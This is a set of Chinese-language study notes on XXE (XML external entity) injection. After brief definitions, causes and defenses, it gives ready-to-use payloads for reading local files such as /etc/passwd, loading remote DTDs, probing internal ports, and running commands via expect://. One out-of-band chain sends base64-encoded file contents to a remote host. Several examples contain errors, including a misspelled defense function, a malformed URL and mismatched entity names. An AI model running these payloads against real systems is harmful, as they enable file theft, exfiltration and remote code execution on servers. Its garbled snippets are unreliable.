XXE
1. 定义
- XXE,全称XML外部实体引入,应用程序在解析XML输入时,没有过滤XML文件内容或禁止外部实体的加载,导致可加载恶意外部文件
2. 产生原因
- 对上传的xml文件没有过滤
- 没有禁用外部实体的加载
3. 危害
- 读取任意文件
- 执行系统命令
- 内网端口扫描
- 攻击内网其他网站
4. 防御
- 禁止使用外部实体,例如
ibxml_disable_entity_loader(true)
- 过滤用户提交的XML数据,防止出现非法内容
5. 漏洞利用
a. 本地引用任意文件
<!--读取Linux系统-->
#payload:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
&content;
<!--读取windows系统-->
#payload:
#读取Windows系统的配置文件
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY content SYSTEM "file:///c:/windows/win.ini">
]>
&content;
b. 远程引用任意文件
<!--读取windows系统-->
#payload:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY % test SYSTEM "http://192.168.71.49:80/1.dtd">
%test;
]>
&xxe;
<!--外部文件1.dtd内容-->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
c. 远程端口探测
①payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "http://ip:探测端口号/test/">
]>
&xxe;
②实例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "http://ip:192.168.71.59:80/test/">
]>
&test;
d. RCE
- 服务器配置不当/开发内部应用导致
- php环境中安装了expect扩展
①payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "expect://系统命令">
]>
&test;
②实例
6. 回显方式
(1). 有回显
a. 方式
- 在xml内部DTD中,定义一个外部参数实体引入外部dtd,外部参数实体的值是外部dtd的url,
- 在外部dtd文件中,定义一个外部普通实体实体,外部实体的值是payload
- 在内部dtd中引用参数实体,在xml中引用外部dtd的外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
&test;
b. 用途
- XXE的扩展利用
- 内网探测机器开放端口
- 进行内网探测
(2). 无回显
- 采用数据外带的方式
<!--2.dtd文件内容-->
<!ENTITY % x SYSTEM "php://filter/read-convert.base64-encode/resource=doLogin.php">
<!ENTITY % y "<!ENTITY % z SYSTEM 'http://192.168.71.57/?data=%x'>">
<!--payload-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE abc [<!ENTITY % a SYSTEM "http://192.168.71.57/xxe/2.dtd">
%a;%y;%z;
]>
%x;
7. XML基础
(1). 语法结构
-
分为2部分,一部分是标签的定义,一部分是标签的解释(DTD,Document Type Defination)
(2). DTD文档
a. 概述
- DTD使数据格式之间按照相同的标准来传输
- DTD是一种XML约束模式语言,用来解释XML文档
b. 类型
- 内部DTD文档和外部DTD文档
c. 语法结构
①内部DTD
-
<!DOCTYPE 根元素[定义内容]>
②外部DTD
-
使用system关键字
-
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
-
新建一个DTD文档outdtd.dtd
<?xml version="1.0"?> <!ELEMENT note (to.from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)
-
新建一个XML文档outdtd.xml
<?xml version="1.0"?> <! DOCTYPE note SYSTEM "outdtd.dtd"> <note> <to>ichunqiu</to> <from>Hello</from> <head>safe</head> <body>666</body> </note>
③内外结合
-
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
-
新建一个DTD文档outdtd.dtd
<?xml version="1.0" encodeing="UTF-8"?> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)
-
新建一个XML文档outdtd.xml
<?xml version="1.0"?> <! DOCTYPE note SYSTEM "outdtd.dtd">[ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> ] <note> <to>ichunqiu</to> <from>Hello</from> <head>safe</head> <body>666</body> </note>
(3). XML实体
a. 概述
- XML实体,即XML语言的变量,有实体名(变量名)和实体值(变量值),可以通过
&
%
/
引用
b.实体类型
-
普通实体和参数实体
c. 支持的协议
